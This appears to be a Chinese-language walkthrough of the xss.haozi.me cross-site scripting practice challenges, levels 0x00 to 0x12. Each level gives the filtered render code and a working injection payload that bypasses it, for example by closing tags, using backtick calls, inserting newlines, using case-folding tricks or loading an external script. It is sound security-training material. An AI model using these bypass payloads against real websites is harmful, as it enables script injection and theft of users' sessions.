# Writeup —【xss.haozi.me】
---
## 0x00:
題目:https://xss.haozi.me/#/0x00
:::danger
Server Code:
```
function render (input) {
return '<div>' + input + '</div>'
}
```
:::
:::info
解釋:
這題沒有任何限制,單純的一個輸入地方。
:::
:::success
input code:
```
<script>alert(1)</script>
```
:::
---
## 0x01:
題目:https://xss.haozi.me/#/0x01
:::danger
Server Code:
```
function render (input) {
return '<textarea>' + input + '</textarea>'
}
```
:::
:::info
解釋:
這題在前後,被 textarea 這個標籤包住,因此我們要先讓他閉合。
:::
:::success
input code:
```
</textarea><script>alert(1)</script><textarea>
```
:::
---
## 0x02:
題目:https://xss.haozi.me/#/0x02
:::danger
Server Code:
```
function render (input) {
return '<input type="name" value="' + input + '">'
}
```
:::
:::info
解釋:
這題跟上一題有點像,只是是包在參數裡面,因此我們要先讓他閉合。
:::
:::success
input code:
```
"><script>alert(1)</script>
```
:::
---
## 0x03:
題目:https://xss.haozi.me/#/0x03
:::danger
Server Code:
```
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
```
:::
:::info
解釋:
這題會把「(」和「)」替換掉(直接消失),但是我們可以用其他東西代替。
※ 反引號「\`」功能:
1. 普通的字串
2. 包含換行的字串
3. 包含變數的字串
4. 可以調用函數來執行包住的字串
5. 包含表達式的字串中
所以這邊我們就可以利用反引號同樣調用 alert()
:::
:::success
input code:
```
<script>alert`1`</script>
```
:::
---
## 0x04:
題目:https://xss.haozi.me/#/0x04
:::danger
Server Code:
```
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
```
:::
:::info
解釋:
這題跟上一提很像,但是它把「\`」也替換掉了(直接消失)。
我們可以嘗試用編碼繞過。
※ [編碼](https://ascii.cl/htmlcodes.htm)
然而,這邊的輸入只是被包在標籤裡面,而不是標籤「內部」。
所以需要用一些方法想辦法讓他知道要轉編碼。
:::
:::success
input code:
可以用 svg 這個標籤來執行後面的字串。
```
<svg><script>alert(1)</script></svg>
```
:::
:::success
input code:
iframe 這個標籤的 srcdoc 可以直接去寫轉譯後的html片段。
※ srcdoc 裡面的代碼會作爲 iframe 中的內容顯示出來。
```
<iframe srcdoc="<script>alert(1)</script>">
```
:::
---
## 0x05:
題目:https://xss.haozi.me/#/0x05
:::danger
Server Code:
```
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
```
:::
:::info
解釋:
這題一樣想到要閉合它,但是它把「\-\-\>」替換掉了。
但是可以發現,就算我們使用「\-\-\!\>」,它一樣可以執行。
:::
:::success
input code:
```
--!><script>alert(1)</script>
```
:::
---
## 0x06:
題目:https://xss.haozi.me/#/0x06
:::danger
Server Code:
```
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
```
:::
:::info
解釋:
這題會想到要用屬性去用它,但是題目替換了 「auto」、「on」 為開頭,「\=」 結尾的標籤成為 「\_」 。
我們可以用換行來繞過它。
:::
:::success
input code:
```
onmouseover
=alert(1)
```
:::
---
## 0x07:
題目:https://xss.haozi.me/#/0x07
:::danger
Server Code:
```
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
```
:::
:::info
解釋:
這題會替換掉 「\<」 或 「</」 開頭,「\>」 或 「/>」 結尾的標籤。
但是我們知道有容錯機制,可以用這個來自動加上我們後面需要補上的「/>」。
(最後面有一個空白)
:::
:::success
input code:
```
<img src=1 onerror=alert(1)
```
:::
---
## 0x08:
題目:https://xss.haozi.me/#/0x08
:::danger
Server Code:
```
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
```
:::
:::info
解釋:
這題想要先閉合它,但是題目會替換掉 「\<style>」的標籤,甚至連編碼都用掉了。
但是其實很簡單,我們只要在標籤中間空一格(或是直接換行),就可以繞過檢查。
:::
:::success
input code:
```
</style ><script>alert(1)</script>
```
:::
---
## 0x09:
題目:https://xss.haozi.me/#/0x09
:::danger
Server Code:
```
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
```
:::
:::info
解釋:
這題蠻酷的,會檢查要以 https://www.segmentfault.com 開頭,其實很簡單。
:::
:::success
input code:
```
https://www.segmentfault.com/"></script><a href=1 onmouseover=alert(1)>click</a>
```
:::
---
## 0x0A:
題目:https://xss.haozi.me/#/0x0A
:::danger
Server Code:
```
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
```
:::
:::info
解釋:
這題輸入 URL,一樣會檢查要以 https://www.segmentfault.com 開頭。
可以引用外在 JS 文件。
(官方正解)(但是我不能用)
:::
:::success
input code:
(官方正解)
```
https://www.segmentfault.com.haozi.me/j.js
```
:::
:::success
input code:
```
```
:::
---
## 0x0B:
題目:https://xss.haozi.me/#/0x0B
:::danger
Server Code:
```
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
```
:::
:::info
解釋:
這題會將輸入轉成大寫。但是其實標籤以及屬性不會有差。
因此我們可以試試看引用外在 JS 文件。
(官方正解)(但是我不能用)
:::
:::success
input code:
(官方正解)
```
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>>
```
:::
:::info
解釋:
由於內容會被轉換成大寫,我們可以用編碼來繞過。
:::
:::success
input code:
```
<img src=1 onerror=alert(1)>
```
:::
---
## 0x0C:
題目:https://xss.haozi.me/#/0x0C
:::danger
Server Code:
```
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
```
:::
:::info
解釋:
這題除了上題那樣會將輸入轉成大寫,還把「script」標籤替換了。
但是由於它只替換一次,因此我們可以亂打成下面那樣。
(官方正解)(但是我不能用)
:::
:::success
input code:
(官方正解)
```
<scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>>
```
:::
:::info
解釋:
同上題,新加入的限制不影響。
:::
:::success
input code:
```
<img src=1 onerror=alert(1)>
```
:::
---
## 0x0D:
題目:https://xss.haozi.me/#/0x0D
:::danger
Server Code:
```
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
```
:::
:::info
解釋:
這題一開始想要閉合,但是它把東西都替換了。
因此換個想法,直接強制換行就可以繞過它。
:::
:::success
input code:
```
alert(1);
-->
```
:::
---
## 0x0E:
題目:https://xss.haozi.me/#/0x0E
:::danger
Server Code:
```
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
```
:::
:::info
解釋:
這題除了會將輸入轉成大寫,還會將輸入的標籤替換成「\<\_\.\.\.」。
我認為這題最猛,我真的沒想到!
當然,一樣用引用外在文件,只是要想辦法在使用標籤「\<script\>」時,避開它的檢查。
我們找到一個字元「ſ」,它在轉換成大寫後剛好會是「S」!(傻眼XD)
(官方正解)
:::
:::success
input code:
(官方正解)
```
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
```
:::
---
## 0x0F:
題目:https://xss.haozi.me/#/0x0F
:::danger
Server Code:
```
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
```
:::
:::info
解釋:
這題把那幾項換成後面的東西,然而它在標籤裡面,所以編碼是可以被分析的!
:::
:::success
input code:
```
');alert(1);('
```
:::
---
## 0x10:
題目:https://xss.haozi.me/#/0x10
:::danger
Server Code:
```
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
```
:::
:::info
解釋:
這題一樣就單純讓它閉合。
:::
:::success
input code:
```
1;alert(1);
```
:::
---
## 0x11:
題目:https://xss.haozi.me/#/0x11
:::danger
Server Code:
```
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
```
:::
:::info
解釋:
這題跟上上題很像,只是更改的東西不能用了。
然而可以發現,就算題目把「\"」替換成「\\"」,一樣可以閉合前面的「console.log\(\"」。
:::
:::success
input code:
```
");alert(1)//
```
:::
---
## 0x12:
題目:https://xss.haozi.me/#/0x12
:::danger
Server Code:
```
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
```
:::
:::info
解釋:
這題「\"」替換爲「\\\"」,所以如果這裏直接用「\\\"\)」閉合會被分析,所以要再加一個「\\」。
:::
:::success
input code:
```
\");alert(1);//
```
:::
---